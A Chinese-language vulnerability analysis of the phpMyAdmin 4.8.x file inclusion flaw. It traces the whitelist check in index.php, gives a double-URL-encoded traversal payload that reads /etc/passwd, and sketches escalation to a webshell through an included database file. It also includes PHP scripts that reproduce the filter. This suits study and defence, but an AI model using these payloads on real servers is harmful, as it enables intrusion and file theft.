序
此時無序勝有序.
漏洞信息
An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the "$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login requirement and runs the vulnerable code without any authentication).
即,影響範圍爲phpmyadmin 4.8.2之前的4.8版本.可達到的效果是LFI和RCE.
漏洞分析與利用
先分析代碼.定位到漏洞文件(index.php),漏洞代碼55行到63行.
通過if判斷即可包含target指定的文件.
55行到60行對可控參數target進行了限制.
1.target必須是string
2.target不可爲index開頭的文件
3.target不能是黑名單中的文件
4.checkPageValidity方法過濾.
黑名單如下
前三個限制很簡單,着重看第四個限制.
跟進到checkPageValidity方法.
分析後可知.
1.未給定白名單whitelist時,默認whitelist爲$goto_whitelist
2.未給定$page參數或者$page參數不是字符串,返回false
3.$page在白名單中,返回true
4.$page去參數後的結果在白名單中(將$page以?爲限進行截取後附給$_page,再判斷$_page是否在白名單中),返回true
5.將$page進行一次urldecode後,再進行第四步的操作
6.上述條件都不滿足,直接返回false
默認白名單如下
只要能使checkPageValidity返回true就可以進行LFI.
已知whitelist_file.php,whitelist_file.php?a=123&b=456可以通過checkPageValidity校驗
checkPageValidity 465行的urldecode可以利用
由465行的urldecode的存在,我們可以將一個問號進行兩次urlencode變成%25%33%66,在發送請求之時,瀏覽器會自動解碼一次問號則變成了%3f,在經過465行的解碼後問號還原,這時我們也就可以達到控制截取內容的效果.
LFI
由上面的分析我們可以構造payload如下
whitelist_file.php + 二次urlencode(?) + 要讀取的文件
例如:
db_datadict.php%25%33%66../../../../../../../etc/passwd
此時include的便是
include "db_datadict.php%3f../../../../../../../etc/passwd"
成功包含的文件便是/etc/passwd
成功讀取.
RCE
利用上面的LFI包含一個shell文件即可get webshell.
構造一句話,
看看數據庫文件.一句話在裏面.
文件包含該文件.即可命令執行.
因爲我是用vulhub搭的環境,mysql與phpmyadmin不在一個容器裏,所以不能包含.這個數據庫文件.命令執行payload理應如下:
當然,重要的是需要知道數據庫文件的路徑.
貼出上面用到的代碼
<?php
/**
*filename:check.php
*/
$a = "whitelist_file.php";
$b = "whitelist_file.php?a=123&b=456";
echo "$a 截取後:爲".mb_substr($a,0,mb_strpos($a.'?','?'));
echo "\n$b 截取後爲:".mb_substr($b,0,mb_strpos($b.'?','?'))."\n";
?>
<?php
/**
*filename:filter.php
*/
function checkPageValidity(&$page, array $whitelist = [])
{
if (empty($whitelist)) {
$whitelist = array('db_datadict.php','db_sql.php','db_events.php');
}
if (! isset($page) || !is_string($page)) {
return false;
}
echo "這是我們傳入的字符串:$page,它即將進行白名單值判斷<br>";
if (in_array($page, $whitelist)) {
return true;
}
echo "但很明顯它並不是白名單中的值,所以程序繼續往下執行<br>";
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
echo "這是第一次截取後的內容:$_page,它也將進行白名單值判斷<br>";
if (in_array($_page, $whitelist)) {
return true;
}
echo "因爲截取後的內容同樣無法通過白名單檢驗,所以程序繼續往下判斷<br>";
echo "下面會進行一次urldecode<br>";
$_page = urldecode($page);
echo "這是解碼後的內容:$_page,它將進行一次截取操作(去參數)<br>";
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
echo "這是第二次截取後的內容:$_page,你看,這個結果可以通過白名單檢驗<br>";
if (in_array($_page, $whitelist)) {
return true;
}
return false;
}
checkPageValidity($_GET['a']);
?>